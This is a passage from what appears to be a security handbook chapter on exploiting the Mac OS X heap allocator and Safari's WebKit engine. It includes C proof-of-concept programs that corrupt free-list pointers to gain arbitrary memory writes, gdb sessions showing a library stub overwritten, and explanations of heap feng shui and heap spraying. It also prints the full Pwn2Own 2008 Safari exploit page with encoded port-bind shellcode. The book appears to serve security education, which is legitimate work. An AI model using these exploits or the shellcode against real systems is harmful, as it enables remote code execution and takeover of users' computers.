*free_list = next;                    // Chosen value for free list head

this_msize = get_tiny_free_size(ptr);

if (next) {

    next->previous = ptr->previous;   // Write chosen value anywhere

} else {

    BITMAP32_CLR(szone->tiny_bitmap, this_msize - 1);

}

The variable ptr is the pointer to a free block that is being removed from the 
free list in order to be returned to the user to satisfy an allocation request. Since 
the metadata stored within a free block can be overwritten in a heap buffer 
overfl ow, ptr->next and ptr->previous can be values controlled by an attacker. 
When ptr->previous is assigned to next->previous, we can write a value we 
control to a memory location we choose. There are some restrictions. The next 
pointer is decoded from its checksum form, which assumes that all heap blocks 
are aligned on 16-byte boundaries, and clears the lowest-order four bits of this 
value. This means the address that we want to write to must be aligned on 
a 16-byte boundary. There are some benefi ts from this checksum algorithm, 
however. Because the checksum rotates the pointer and sets the highest bit of 
the word, we can write to memory addresses that have a NULL byte in the most 
signifi cant byte, which we normally can’t do in a string-based buffer overfl ow. 
You will see why this is very important when we show how to obtain code 
execution through even a single 4-byte overwrite.
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For an example of how overwriting a free heap block can be used to perform 
an arbitrary 4-byte memory write, look at the following code.

#include <stdio.h>

#include <stdlib.h>

/*

 * Taken from Mac OS X Libc source code

 */

static unsigned long free_list_checksum_ptr(unsigned long p)

{

    #ifdef __LP64__

    return (p >> 2) | 0xC000000000000003ULL;

    #else

    return (p >> 2) | 0xC0000003U;

    #endif

}

#define ALLOC_SIZE 496

int main(int argc, char* argv[])

{

    unsigned long *target;

    unsigned long *ptr;

    // Allocate our target on heap so it is aligned

    target = malloc(4);

    *target = 0xfeedface;

    printf(“target = 0x%x\n”, *target);

    printf(“ptr = calloc(ALLOC_SIZE,1)\n”);

    ptr = (unsigned long*)calloc(ALLOC_SIZE,1);

    // Freeing ptr will place it on a free list

    printf(“free(ptr)\n”);

    free(ptr);

    // Overwrite ptr’s previous and next block pointers

    printf(“Overwriting ptr->previous and ptr->next…\n”);

    ptr[0] = 0xdeadbeef;

    ptr[1] = free_list_checksum_ptr((unsigned long)target);

    // malloc will remove ptr from free list,

    // overwriting our target in the unlinking

    printf(“ptr = malloc(ALLOC_SIZE)\n”);

    ptr = (unsigned long*)malloc(ALLOC_SIZE);

    printf(“==> target = 0x%x\n”, *target);

    exit(EXIT_SUCCESS);

}
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This code fi rst makes sure ptr is placed on a free list (it is allocated from 
the tiny region, so we do not have to worry about the last-free cache). Next we 
simulate a buffer overfl ow overwriting the free list previous and next pointers 
stored in ptr when ptr is on a free list. This would happen if there were over-
fl ow in the block preceding ptr and an attacker were able to overwrite ptr with 
chosen values as depicted in Figure 8-2.

0x00: data
0x04: data
0x08: data
0x0c: data

0xfeedface

<invalid>

T arget

0xdeadbeef

0x00: previous pointer
0x04: next pointer
0x08: block size
0x0c: empty space

Free Block

In-Use Block

Before Overflow

0x00: 0xdeadbeef
0x04: cksum(target)
0x08: block size
0x0c: empty space

Free Block

0x00: AAAA
0x04: AAAA
0x08: AAAA
0x0c: AAAA

In-Use Block

After Overflow

0x00: data
0x04: data
0x08: data
0x0c: data

 Figure 8-2:  A heap-buffer overflow from an in-use block overwriting a free block

Finally, we perform a malloc() for the same size as ptr so that it is removed 
from the free list. When the block is removed from the free list, the linked list 
remove operation will write 0xdeadbeef to target, overwriting its previous value 
of 0xfeedface. We can confi rm this by compiling and running tiny-write4. 

% ./tiny-write4

target = 0xfeedface

ptr = calloc(ALLOC_SIZE,1);

free(ptr)

Overwriting ptr->previous and ptr->next…

ptr = malloc(ALLOC_SIZE)

==> target = 0xdeadbeef

As you can see, the unlink of the overwritten free list block has overwritten 
the target memory address with our chosen value. Once an attacker can write 
arbitrary values to arbitrary memory locations, it is usually “game over,” and 
there is a variety of ways to turn this into remote code execution, some of which 
we will demonstrate in the next section.

Large Arbitrary Memory Overwrite
In their presentation at CanSecWest 2004 titled “Reliable Windows Heap 
Exploits,” Matt Conover and Oded Horovitz introduced a novel way of using 
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a heap metadata overfl ow to overwrite large amounts of data at a chosen loca-
tion, not just 4 bytes as described earlier. Their idea was to manipulate the 
heap’s free lists to cause them to return a nonheap memory address for a given 
memory allocation request. The following code demonstrates this technique 
for Mac OS X.

#include <stdio.h>

#include <stdlib.h>

/*

 * Taken from MacOS X Libc source code

 */

static unsigned long free_list_checksum_ptr(unsigned long p)

{

    return (p >> 2) | 0xC0000003U;

}

#define ALLOC_SIZE 496

int main(int argc, char* argv[])

{

    unsigned long *target = (unsigned long*)&target;

    unsigned long *ptr;

    printf(“ptr = calloc(ALLOC_SIZE,1)\n”);

    ptr = (unsigned long*)calloc(ALLOC_SIZE,1);

    // Freeing ptr will place it in last-free cache

    printf(“free(ptr)\n”);

    free(ptr);

    // Overwrite ptr’s previous and next block pointers

    printf(“Overwriting ptr->previous and ptr->next…\n”);

    ptr[0] = 0xdeadbeef;

    ptr[1] = free_list_checksum_ptr((unsigned long)target);

    // malloc will remove ptr from free list, 

    // placing our target as the free list head

    printf(“ptr = malloc(ALLOC_SIZE)\n”);

    ptr = (unsigned long*)malloc(ALLOC_SIZE);

    // Now allocate the same size again and we are returned

    // a non-heap pointer by malloc

    printf(“ptr = malloc(ALLOC_SIZE)\n”);

    ptr = (unsigned long*)malloc(ALLOC_SIZE);

    printf(“==> ptr = 0x%x\n”, ptr);

    exit(EXIT_SUCCESS);

}
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The code is very similar to our earlier 4-byte overwrite example. The key 
difference is that there are two calls to malloc() after the free block has been 
overwritten. The fi rst call performs the arbitrary 4-byte overwrite as before. 
This time, however, the code performs a second malloc() for the same size. 
Recall from the beginning of this section that the code for removing an entry 
from the free list updates the free list head with the next pointer from the free 
block. Since we control this value, we can cause a subsequent malloc() of the 
same size to return a chosen memory address. In applications where the attacker 
can infl uence the sizes of memory allocations where their input is stored, they 
can use this to write as much of their input as they want to a chosen memory 
location. That is much better than just writing 4 bytes!

Now run the test program to see what happens.

% ./tiny-write

ptr = calloc(ALLOC_SIZE,1)

free(ptr)

Overwriting ptr->previous and ptr->next…

ptr = malloc(ALLOC_SIZE)

ptr = malloc(ALLOC_SIZE)

==> ptr = 0xbffff890

As you can see, the second call to malloc() returned a pointer that is defi nitely 
not on the heap, as it is an address in stack memory. This sort of heap manipula-
tion will let you overwrite more memory than just one word at a time, like the 
previous example.

Obtaining Code Execution
In the preceding examples we showed how to overwrite 4 bytes at a chosen 
memory address or cause the heap to return an arbitrary memory address for 
an allocation request. We can use these techniques to overwrite four or more 
bytes of the target’s memory with chosen values, but the big question is, how do 
we leverage that into reliable, arbitrary code execution? There are many ways 
to achieve this, each with their own strengths and weaknesses, but we will 
describe one technique that takes advantage of a unique aspect of Leopard’s 
heap implementation.

Recall from our discussion earlier that the pointers in free blocks use a check-
sum to detect accidental corruption. This checksum takes advantage of the 
unused lowest four bits in the memory address and generates a checksum via 
((ptr >> 2) | 0xC0000003U). Since the free list unlink operation will clear these 
bits, it allows the attacker to specify addresses with NULL bytes for both or 
either of the most signifi cant and least signifi cant bytes of the memory address. 
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Let’s take a look at a vmmap output to see what memory regions this opens for 
us. As a quick example, examine the memory-address space of the shell.

Virtual Memory Map of process 32297 (tcsh)

Output report format:  2.2  -- 32-bit process

…

==== Writable regions for process 32297

__DATA          0003e000-00042000 [   16K] rw-/rwx SM=COW  /bin/tcsh

__DATA          00042000-00096000 [  336K] rw-/rwx SM=PRV  /bin/tcsh

__IMPORT        00096000-00097000 [    4K] rwx/rwx SM=COW  /bin/tcsh

MALLOC (freed?) 0009b000-0009c000 [    4K] rw-/rwx SM=PRV  

MALLOC_LARGE    0009d000-000b1000 [   80K] rw-/rwx SM=COW  DefaultMalloc

MALLOC_LARGE    000b2000-000ba000 [   32K] rw-/rwx SM=PRV  DefaultMalloc

MALLOC_REALLOC  000ba000-000c4000 [   40K] rw-/rwx SM=PRV  DefaultMalloc

MALLOC_TINY     00100000-00200000 [ 1024K] rw-/rwx SM=PRV  DefaultMalloc

SBRK            00200000-00600000 [ 4096K] rw-/rwx SM=NUL  

MALLOC_SMALL    00800000-01000000 [ 8192K] rw-/rwx SM=PRV  DefaultMalloc

…

Being able to write to addresses with a NULL most-signifi cant byte in the 
address allows us to write to the malloc regions as well as the executable’s 
__DATA and __IMPORT segments. The __DATA segments may contain useful 
targets such as function pointers, but the __IMPORT segment will be a much 
more interesting target.

The __IMPORT segment contains two critical sections: __jump_table, and __
pointers. The __jump_table section contains stubs for calls into dynamic libraries 
and the __pointers section contains symbol pointers to functions imported from 
a different fi le. The __jump_table stubs are small sequences of executable code 
written to by the linker that jump to the proper symbol in a loaded shared library. 
When the executable needs to call a shared library function, it calls the stub in 
the __jump_table, which jumps to the function defi nition in the shared library.

We can examine the contents of these sections with otool -vI. For the __ump_
table, this will list the name of the shared library function for the stub and its 
addresses in the __IMPORT segment. Recall that because of the checksum, our 
overwrite target must be 16-byte aligned. Also, the base load address of the 
executable is not randomized in Leopard; only loaded libraries are. Therefore, 
any overwrite targets in the __IMPORT segment of the main executable will be 
at constant addresses. We can dump this table and search for any stub with a 
properly aligned address to fi nd suitable overwrite targets. For example, here 
are some suitable targets from Safari.

% otool -vI /Applications/Safari.app/Contents/MacOS/Safari | \

      grep -E “[0-9a-f]{7}0” | grep -v LOCAL

…

0x0016b990   624 _chdir
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0x0016b9e0   640 _getenv

0x0016ba30   682 _memset

0x0016ba80   697 _objc_msgSendSuper_stret

0x0016bad0   712 _pthread_setspecific

0x0016bb20   727 _stat

We can use a 4-byte overwrite to overwrite one stub, or the larger memory 
overwrite to write our entire payload into the __IMPORT segment. As a sim-
ple demonstration of this technique, we will use a 4-byte overwrite to over-
write the stub for a shared library function with debug breakpoint interrupt 
instructions.

#include <stdio.h>

#include <stdlib.h>

#define ALLOC_SIZE 1496

/*

 * Taken from MacOS X Libc source code

 */

static unsigned long free_list_checksum_ptr(unsigned long p)

{

    return (p >> 2) | 0xC0000003U;

}

int main(int argc, char* argv[])

{

    unsigned long *target;

    unsigned long *ptr, *ptr2;

    // Allocate our target on heap so it is aligned

    target = malloc(4);

    *target = 0xfeedface;

    ptr = (unsigned long*)calloc(ALLOC_SIZE,1);

    // Allocate second pointer with different msize

    ptr2 = (unsigned long*)calloc(ALLOC_SIZE + 512,1);

    // Freeing ptr will place it in last-free cache (small region)

    free(ptr);

    // Freeing ptr2 will place ptr2 in last-free cache

    // and move ptr to free list

    free(ptr2);

    // Overwrite ptr’s previous and next block pointers

    // so that when it is removed from the free list, it

    // will overwrite the first entry in the __IMPORT

    // __jump_table with debug interrupt instructions.

    ptr[0] = 0xCCCCCCCC;
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    ptr[1] = free_list_checksum_ptr(0x3000);  

    // malloc will remove ptr from free list, 

    // overwriting our target in the unlinking

    ptr = (unsigned long*)malloc(ALLOC_SIZE);

    // Calloc is the first entry in the __IMPORT __jump_table,

    // so the next time it is called, we will execute our

    // chosen instructions.

    calloc(4,1);

    exit(EXIT_SUCCESS);

}

Now examine this test exploit in GDB and watch how it works. Remember 
that there is no real payload in it, so it will just execute a breakpoint trap if it is 
successful. We set breakpoints just before and after the overwritten ptr free block 
is removed from the free list, overwriting the calloc stub in the __IMPORTS 
segment with debug interrupts (0xCC).

% gdb small-write4-stub

GNU gdb 6.3.50-20050815 (Apple version gdb-956) (Wed Apr 30 05:08:47 UTC 

2008)

Copyright 2004 Free Software Foundation, Inc.

GDB is free software, covered by the GNU General Public License, and you 

are

welcome to change it and/or distribute copies of it under certain 

conditions.

Type “show copying” to see the conditions.

There is absolutely no warranty for GDB.  Type “show warranty” for 

details.

This GDB was configured as “i386-apple-darwin”…Reading symbols for 

shared libraries … done

gdb) break 47

Breakpoint 1 at 0x1fce: file small-write4-stub.c, line 47.

(gdb) break 52

Breakpoint 2 at 0x1fdd: file small-write4-stub.c, line 52.

(gdb) run

Starting program: small-write4-stub 

Reading symbols for shared libraries ++. done

Breakpoint 1, main (argc=1, argv=0xbffff69c) at small-write4-stub.c:47

47         ptr = (unsigned long*)malloc(ALLOC_SIZE);

(gdb) x/2x ptr

0x800000:     0xcccccccc     0xc0000c03

(gdb) x/x 0x3000

0x3000 <dyld_stub_calloc>:     0x94aa1fe9

  (gdb) cont

Continuing.
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Breakpoint 2, main (argc=1, argv=0xbffff69c) at small-write4-stub.c:52

52         calloc(4,1);

(gdb) x/x 0x3000

0x3000 <dyld_stub_calloc>:   0xcccccccc

(gdb) cont

Continuing.

Program received signal SIGTRAP, Trace/breakpoint trap.

0x00003001 in dyld_stub_calloc ()

(gdb) Owned!!!

Taming the Heap with Feng Shui

The previous sections have shown that it is possible to get control of program 
execution if heap metadata is overwritten. As the examples illustrated, how-
ever, obtaining control requires a precise sequence of allocations and dealloca-
tions. This might not be possible in some situations, so it might be necessary to 
overwrite application data as well as heap metadata. Doing this opens up the 
possibilities of trying to precisely control the heap.

The heap can be a terribly unpredictable place. Consider the case of a web 
browser. Each web page visited will contain many HTML tags, complex 
JavaScript, many images, etc. A typical page may require thousands of allocated 
blocks of memory of various sizes. Imagine a case in which a user has been surf-
ing the Web for a few minutes and then visits your exploit page. Almost nothing 
can be said about what to expect the user’s heap to look like at that very moment. 
So how do you reliably exploit heap-based attacks against web browsers? The 
answer comes from the fact that when a user visits your web page you can run 
any JavaScript you want. By carefully choosing the right JavaScript, you have 
some control over their heap at the moment of exploitation.

Fill ’Er Up
As pioneered by Skylined, one idea is to fi ll up the heap with your shellcode and 
then hope things work out. This is called a heap spray. Usually, you use a heap 
spray by allocating large buffers and fi lling the buffers with a NOP slide that 
terminates in the shellcode. Generally, if all you need is to fi nd your shellcode, 
this will work a large percentage of the time if you fi ll up enough of the heap 
with your data. You can never fi ll up the heap completely, so there will still be 
some data you don’t control in the heap. This technique can be extended by 
choosing NOPs that also act as valid pointer addresses. We’ll demonstrate this 
in the case study at the end of this chapter. 
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There is another signifi cant disadvantage to the heap-spray technique. With 
new antiexploitation technologies, it is becoming very diffi cult to exploit heap 
overfl ows by using the heap metadata, the old unlinking-of-a-linked-list tech-
nique. Instead most new exploits rely on overwriting application-specifi c data; 
however, this application data depends on the layout of the heap and so it can 
be diffi cult to fi nd the application data to overwrite it with a vulnerability! Yet 
another disadvantage is that when using a heap spray it is possible to overwhelm 
a device’s system resources, thus making the exploit fail. So, using heap sprays is 
good as a last resort when a pointer has already been overwritten, but there is a 
much more elegant and reliable technique available, which we’ll discuss next. 

Feng Shui
Whereas a heap spray just tries to fi ll up the heap with useful data to increase 
the chances of landing on it, the feng shui approach attempts to take control of 
the heap completely and lay it out in a usable, predictable way. In this way you’ll 
even be able to arrange for useful application data to be available for overwrit-
ing. Heap feng shui was fi rst discussed by Alexander Sotirov in the context of 
heap overfl ows in Internet Explorer.

A typical heap is very complex and fragmented, but it is still entirely deter-
ministic. When a new allocation is requested, the allocator typically will choose 
the fi rst suffi ciently large spot available. If the heap is very fragmented this 
may be at a low address, and if it is not very fragmented it may be at a higher 
address; see Figure 8-3.

 Figure 8-3:  Choosing where a requested allocation should go within a fragmented heap

The basic idea of feng shui is to try to arrange the heap such that you control 
the contents of the buffer immediately after the buffer you plan to overfl ow. 
In this way you can arrange for interesting data to be overwritten in a reliable 
manner. This technique requires three steps. The fi rst is to defragment the heap 
so future allocations will occur one after the other. This is done by requesting a 
large number of allocations of the desired size. If you request enough of these 
allocations, you can be assured that all of the holes into which future alloca-
tions could fi t are fi lled, at least at the time of your allocations; see Figure 8-4. 
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Some other holes may be created before you get a chance to actually perform 
the exploit. We’ll discuss how to deal with these additional holes shortly. 

 Figure 8-4:  Defragmenting the heap by filling in all the holes

Now that the heap is defragmented, you can be sure that additional alloca-
tions of your desired size will take place at the end of the heap. This means 
they will all be adjacent to one another. Notice that you still don’t necessarily 
know where they are in memory, just that they will be side-by-side. This is 
suffi cient. The next step is to declare a large number of allocations of the size 
you are dealing with to create a long series of adjacent buffers that you control; 
see Figure 8-5.

 Figure 8-5:  Creating a long series of allocations

Next, free every second allocation in the latest set of allocations you made. 
This will create many holes in the heap, all lying within your adjacent alloca-
tions. The heap is again fragmented, but in a way you completely control and 
understand; see Figure 8-6.

 Figure 8-6:  Creating many holes in the heap so that the next allocation falls in between 
buffers you control

Now when the buffer you can overfl ow is fi nally allocated, it will fall in one 
of these holes and you can be assured that the buffer directly after it will have 
data you control, as Figure 8-6 illustrates. It is important to create many holes, 
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not just one. This is because in between the time you create the holes and the 
time the buffer you can overfl ow is allocated, the program will likely be mak-
ing many allocations/deallocations of its own. It may fi ll many of the holes you 
created with its own allocated buffers. Therefore, it is prudent to create many 
more holes than you think you need. Some trial and error may be necessary to 
ensure enough holes are created. 

WebKit’s JavaScript
Now you can see how it is theoretically possible to control the heap in such a 
way that the buffer you overfl ow will have data you control following it. Dig 
into the WebKit source code a bit and see how you can make these allocations 
and deallocations occur by crafting JavaScript. After that you’ll be ready to walk 
through an actual exploit and see how it works in practice.

Basically, you need three ingredients:

 A way to allocate a specifi c-size chunk of memory ■

 A way to free a particular chunk of memory you allocated ■

  A way to place application data within a buffer such that if it is over- ■

written, you will get control of the process

Start with the easiest job—namely, fi nding JavaScript code such that when 
the WebKit JavaScript engine inside Safari parses it, it will result in a call to 
malloc() where you control the size. Searching through the source code you 
quickly fi nd such a place.

ArrayInstance::ArrayInstance(JSObject* prototype, unsigned 

initialLength)

    : JSObject(prototype)

{

    unsigned initialCapacity = min(initialLength, sparseArrayCutoff);

    m_length = initialLength;

    m_vectorLength = initialCapacity;

    m_storage = static_cast<ArrayStorage*>

    (fastZeroedMalloc(storageSize(initialCapacity)));

    Collector::reportExtraMemoryCost(initialCapacity * 

    sizeof(JSValue*));

}

Following along you see the related functions.

void *fastZeroedMalloc(size_t n) 

{

    void *result = fastMalloc(n);

    if (!result)

        return 0;
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    memset(result, 0, n);

    return result;

}

void *fastMalloc(size_t n)

{

    ASSERT(!isForbidden());

    return malloc(n);

}

struct ArrayStorage {

    unsigned m_numValuesInVector;

    SparseArrayValueMap* m_sparseValueMap;

    JSValue* m_vector[1];

};

…

static inline size_t storageSize(unsigned vectorLength)

{

    return sizeof(ArrayStorage) - sizeof(JSValue*) + vectorLength * 

sizeof(JSValue*);

}

Therefore, this JavaScript code

var name = new Array(1000);

will result in the following function being executed by Safari:

malloc(4008);

This number comes from the fact that storageSize adds an extra 8 bytes to 
the buffer and the length is multiplied by sizeof(JSValue*), which is 4. So any 
time we want to allocate a buffer of a particular size in the Safari heap, we just 
need to create an array of a corresponding size in JavaScript.

There is one caveat. The JavaScript engine within Safari has garbage collec-
tion. So if you don’t use this array or you leave the context where it is defi ned, 
Safari will probably deallocate it, which will defeat the purpose of the work. 
Be warned!

You can now allocate as many buffers as you like of any size you choose. Now 
you need to be able to free some of them to continue your path to full feng shui. 
In Internet Explorer you can make an explicit call to the garbage collector. Not 
so in WebKit’s JavaScript implementation. Looking through the source code, 
there are three events that will trigger garbage collection:

 A dedicated garbage-collection timer expires ■

 An allocation occurs when all of a heap’s CollectorBlocks are full ■

 An object with suffi ciently large associated storage is allocated ■
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The latter two of these require further explanation. The WebKit implemen-
tation maintains two structures, a primaryHeap and a numberHeap, both of 
which are arrays of pointers to CollectorBlock objects. A CollectorBlock is a 
fi xed-sized array of cells. Every JavaScript object occupies a cell in one of these 
heaps. 

When an allocation is requested, a free cell in one of the CollectorBlocks will 
be used. If no cells are free, a new CollectorBlock is created. When this event 
occurs, garbage collection is activated.

Of the three possibilities listed, the second one is probably the easiest to use. 
The fi rst one is hampered by the lack of a sleep function in JavaScript. The fi nal 
one is very dependent on the current state of the heap. The following JavaScript 
code can be used to force garbage collection.

for(i=0; i<4100; i++){

a = .5;

}

The number 4,100 comes as an overestimate of the number 4,062, which is 
the number of cells in a CollectorBlock. Whereas the primaryHeap normally 
has many such CollectorBlocks, the numberHeap usually has only one. You’ll 
notice this code is making number objects; when this code is run, it forces the 
single CollectorBlock to fi ll up and a new one to be allocated—and the garbage 
collection to run.

The fi nal missing piece is to make sure we can put application data into a 
buffer such that if it is overwritten, bad things will happen for the program. Due 
to the way WebKit handles JavaScript objects, this is relatively easy. The buffer 
that we will overwrite will be allocated by creating an ArrayStorage structure as 
defi ned earlier.  All we need to do is ensure that there is a pointer in that array 
to a JavaScript object. The following JavaScript will ensure this is the case.

var name = new Array(1000);

name[0] = new Number(12345);

In this case, in memory the array will be laid out in the following fashion.

(gdb) x/16x 0x17169000

0x17169000:    0x00000001    0x00000000    0x16245c20    0x00000000

0x17169010:    0x00000000    0x00000000    0x00000000    0x00000000

0x17169020:    0x00000000    0x00000000    0x00000000    0x00000000

0x17169030:    0x00000000    0x00000000    0x00000000    0x00000000

The fi rst dword is the value m_numValuesInVector, in this case 1. The second 
is m_sparceValueMap, which isn’t being used in this case. The third entry is a 
pointer to a JavaScript object that represents the Number class we requested. 
All these object classes, including the one corresponding to Number, contain 
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function pointers. In particular, by accessing the Number object, say by print-
ing it, a function pointer will be called. It is necessary to preserve the format 
of the array as in the preceding code example when overwriting this buffer, 
(the dword 1 followed by 0 followed by a pointer to attacker-controlled data). 
Otherwise the program will crash before the pointer is dereferenced. In sum-
mary, the following JavaScript code will dereference an overwritten pointer and 
then call a function pointer from this address.

var name = new Array(1000);

name[0] = new Number(12345);

// Overflow “name” buffer here

document.write(name[0] + “<br />”);

Case Study

Below is the full source to the exploit used in the Pwn2Own contest held at 
CanSecWest 2008. We’ll walk through and demonstrate exactly how it works. 
It uses ideas from feng shui as well as heap spraying.

<HTML>

<HEAD>

<TITLE>Hi</TITLE>

</HEAD>

<BODY>

<SCRIPT LANGUAGE=”JavaScript”>

 

var size=1000;

var bigdummy = new Array(1000);

 

function build_string(x){

  var s = new String(“\u0278\u5278”);

  var size = 4;        

  while(size < x){                

    s = s.concat(s);

    size = size * 2;

  }

  return s;

}

var shellcode = 

“\u9090\u9090\u9090\u9090\uc929\ue983\ud9ea\ud9ee\u2474\u5bf4\u7381\

udf13\u7232\u8346\ufceb\uf4e2\u70b5\u8b2a\u585f\u1e13\u6046\u561a\u23dd\

ucf2e\u603e\u1430\u609d\u5618\ub212\ud5eb\u618e\u2c20\u6ab7\uc6bf\u586f\

uc6bf\u618d\uf620\uffc1\ud1f2\u30b5\u2c2b\u6a85\u1123\uff8e\u0ff2\ubbd0\

ub983\ucd20\u2e22\u1df0\u2e01\u1db7\u2f10\ubbb1\u1691\u668b\u1521\u096f\

uc6bf”;
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var st = build_string(0x10000000);

document.write(st.length + “<br />”);

st = st.concat(st, shellcode);

document.write(st.length + “<br />”);

try{

  for(i=0; i<1000; i++){

    bigdummy[i] = new Array(size);

  }

  for(i=900; i<1000; i+=2){

    delete(bigdummy[i]);

  }

  var naptime = 5000;

  var sleeping = true;

  var now = new Date();

  var alarm;

  var startingMSeconds = now.getTime();

  while(sleeping){

    alarm = new Date();

    alarmMSeconds = alarm.getTime();

    if(alarmMSeconds - startingMSeconds > naptime){ sleeping = false; }

  }

  for(i=901; i<1000; i+=2){

    bigdummy[i][0] = new Number(i);

  }

  var re = new

RegExp(“.....................................(([ab]){39}){2}([ab]){15}.

.......................................................................

.......................................................................

.......................................................................

.......................................................................

......................................................................

....................................................[\\x01\\x59\\x5c\\

x5e])...................(([ab]){65535}){1680}(([ab]){39}){722}([ab])

{27}”);

  var m = re.exec(“AAAAAAAAAA-\udfbeBBBB”);

  if (m) print(m.index);

} catch(err) { 

  re = “hi”;

}

for(i=901; i<1000; i+=2){

  document.write(bigdummy[i][0] + “<br />”);

}

for(i=0; i<900; i++){

  bigdummy[i][0] = 1;

}
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document.write(st.length + “<br />”);

</SCRIPT>

</BODY>

</HTML>

The fi rst few lines set up the valid HTML page. Next we defi ne the variable 
bigdummy, which is an array of 1,000 entries. Then we defi ne a function called 
build_string that creates a potentially very long string with the binary values 
0x52780278 repeated over and over within it. This is used for the heap spray, 
which will be discussed in the “Heap Spray” section. Next, we defi ne our shell-
code. In this case it is a simple port-bind shellcode that we got by making small 
modifi cations to the BSD shellcode from Metasploit. Writing Mac OS X shellcode 
will be covered in detail in Chapter 9. Next we create the actual heap spray by 
calling the build_string function with a very large value. 

Feng Shui Example
Now it is time to perform the feng shui. The “for” loop allocates 1,000 arrays 

of size 1000 (which will be size 4008 in memory). The fi rst 900 of these alloca-
tions are used to defragment the heap. That is to say, there is a very good chance 
that the fi nal 100 of these allocations will be adjacent. Next we free every other 
one of the last 100 allocations to create holes that the buffer we plan to overfl ow 
will fi ll.

Next some code attempts to sleep in an effort to force the garbage-collection 
timer to expire. This code forces garbage collection not because the timer expires, 
but rather because it allocates many Date objects as a side effect! The code from 
the last section could be used in its place and would be more effi cient.

For the remaining allocations in the fi nal 100, we assign a Number object as 
the fi rst element of that array. This means that when we overfl ow one of these 
buffers (which will be the case since the holes we created are always followed 
immediately by one of these allocations) we overfl ow something important.

Next we create a malicious RegExp object within a try/catch block. The try/
catch is necessary because the regular expression is (purposefully) invalid and 
hence the remaining JavaScript will not be executed without this mechanism. 
The character class [\x01\x59\x5c\x5e] used in the regular expression compiles 
in memory to include the following 32 bytes:

0x00000002 0x00000000 0x52000000 0x00000000 0x00000000 0x00000000 

0x00000000 0x00000000

This is what we use to overwrite the array structure. We use the hard-coded 
address 0x52000000, so we must make sure we have data at that address. For 
this we use a heap spray, as described in the next section.
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Next we access the overfl owed pointer value, which we now control. We’ll dis-
cuss in the next section how this gives us control. Then, to be safe, we set some 
values in the fi rst 900 of the allocations to make sure they aren’t cleaned up with 
an overzealous garbage collection. The remainder of the fi le is unimportant.

By using breakpoints in Safari where the mallocs are occurring, we can 
observe the defragmenting of the heap. At the beginning, as the buffers are 
being allocated, they occur at various spots in memory:

Breakpoint 3, 0x95850389 in KJS::ArrayInstance::ArrayInstance ()

array buffer at$1 = 0x16278c78

Breakpoint 3, 0x95850389 in KJS::ArrayInstance::ArrayInstance ()

array buffer at$2 = 0x50d000

Breakpoint 3, 0x95850389 in KJS::ArrayInstance::ArrayInstance ()

array buffer at$3 = 0x510000

Breakpoint 3, 0x95850389 in KJS::ArrayInstance::ArrayInstance ()

array buffer at$4 = 0x16155000

Breakpoint 3, 0x95850389 in KJS::ArrayInstance::ArrayInstance ()

array buffer at$5 = 0x1647b000

Breakpoint 3, 0x95850389 in KJS::ArrayInstance::ArrayInstance ()

array buffer at$6 = 0x1650f000

Breakpoint 3, 0x95850389 in KJS::ArrayInstance::ArrayInstance ()

array buffer at$7 = 0x5ac000

This shows how the heap can be unpredictable. By the end the buffers are all 
occurring one after the other, as expected. 

Breakpoint 3, 0x95850389 in KJS::ArrayInstance::ArrayInstance ()

array buffer at$997 = 0x17164000

Breakpoint 3, 0x95850389 in KJS::ArrayInstance::ArrayInstance ()

array buffer at$998 = 0x17165000

Breakpoint 3, 0x95850389 in KJS::ArrayInstance::ArrayInstance ()

array buffer at$999 = 0x17166000

Breakpoint 3, 0x95850389 in KJS::ArrayInstance::ArrayInstance ()

array buffer at$1000 = 0x17167000

Breakpoint 3, 0x95850389 in KJS::ArrayInstance::ArrayInstance ()

array buffer at$1001 = 0x17168000

Breakpoint 3, 0x95850389 in KJS::ArrayInstance::ArrayInstance ()

array buffer at$1002 = 0x17169000
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Ahhh … it’s beautiful. After these mallocs, we go in and free every other one 
of them to create holes for our regular-expression buffer that we will overfl ow. 
Then, with the debugger, we watch as the regular-expression buffer ends up 
in one of the holes we created.

Breakpoint 2, 0x95846748 in jsRegExpCompile ()

regex buffer at$1004 = 0x17168000

We fi nd the regular-expression buffer in the very last hole, where buffer 1001 
used to be. The buffer right after this buffer is at 0x17169000 and contains data 
we control. 

Heap Spray
The previous section allowed us to overwrite a pointer with the value 0x52000000. 
As we described earlier, we create a large array in memory fi lled with the dword 
0x52780278. This slide can be made as large as we like, within the memory con-
straints of the target. The value of 0x52780278 was chosen carefully because it 
possesses two important properties. 

First, it is self-referential—that is, it points into itself. In this way, the value 
can be dereferenced as many times as we would like and it will still be valid 
and still point to the sled. Second, it is an x86 NOP equivalent. As instructions, 
it becomes

78 02:   js +0x2

78 52:   js +0x52

These are conditional jumps. If the conditional happens to be true, we jump 
over the longer of the two jumps and continue jumping in this fashion until 
we hit the shellcode. If the condition is false, the jumps are not taken, so we 
execute to the shellcode as well. Conditional jumps were necessary because 
unconditional jumps (0xeb) would not be 4-byte-aligned when considered as 
a pointer. The best part of this choice is that although the high-order byte of 
the dword (0x52) is the most important, as far as the location where the sled is 
expected as NOP instructions, this byte can be anything. Jake Honoroff made 
this discovery.

Now, with our sled in place, the value 0x52000000 points to our sled. At some 
offset from there, a function pointer is executed, which begins execution in the 
sled and ends up in the shellcode. The only assumption that this exploit makes, 
thanks to the feng shui, is that the address range from 0x52000000 to 0x52780278 
contains only our sled. With a smarter choice of character class we could have 
made only the assumption that the address 0x52780278 lies in the sled. Since the 
heap is not randomized and we can choose to make as large a sled as possible, 
this defect isn’t a major obstacle.
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In the exploit examples so far, you haven’t really done anything interesting after 
you have obtained code execution. The executable payloads in your exploits 
typically only issued a breakpoint trap to verify that you had obtained execu-
tion. In this chapter, you will see how to make your exploits do something 
more interesting.

The executable code found in exploits has traditionally been called shellcode 
because it typically executed an operating-system shell for the attacker. These 
days, however, many exploit payloads are much more complicated, with their 
own remote system call execution, library injection, or scripting languages. In 
addition, on platforms such as the iPhone, there typically is no shell to execute. 
For that reason, it makes more sense to refer to exploit payloads by that name and 
use shellcode to refer to payloads the give a shell to the remote attacker.

In this chapter we will show how to write exploit payloads for Mac OS X on 
both PowerPC and Intel x86, ranging from simple shellcode payloads for local 
exploits to more complicated payloads for remote exploits that dynamically 
execute arbitrary machine code fragments and inject Mach-O bundles into the 
running process. This chapter is very heavy on PowerPC and x86 assembly as 
well as low-level C code, so familiarity with these languages is important.

C H A P T E R 

9

Exploit Payloads
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Mac OS X Exploit Payload Development

Exploit payloads are standalone machine code fragments meant to be injected 
into a running process and executed from within that process, just as a parasite 
lives within its host. And because a parasite dies if the host dies, exploit pay-
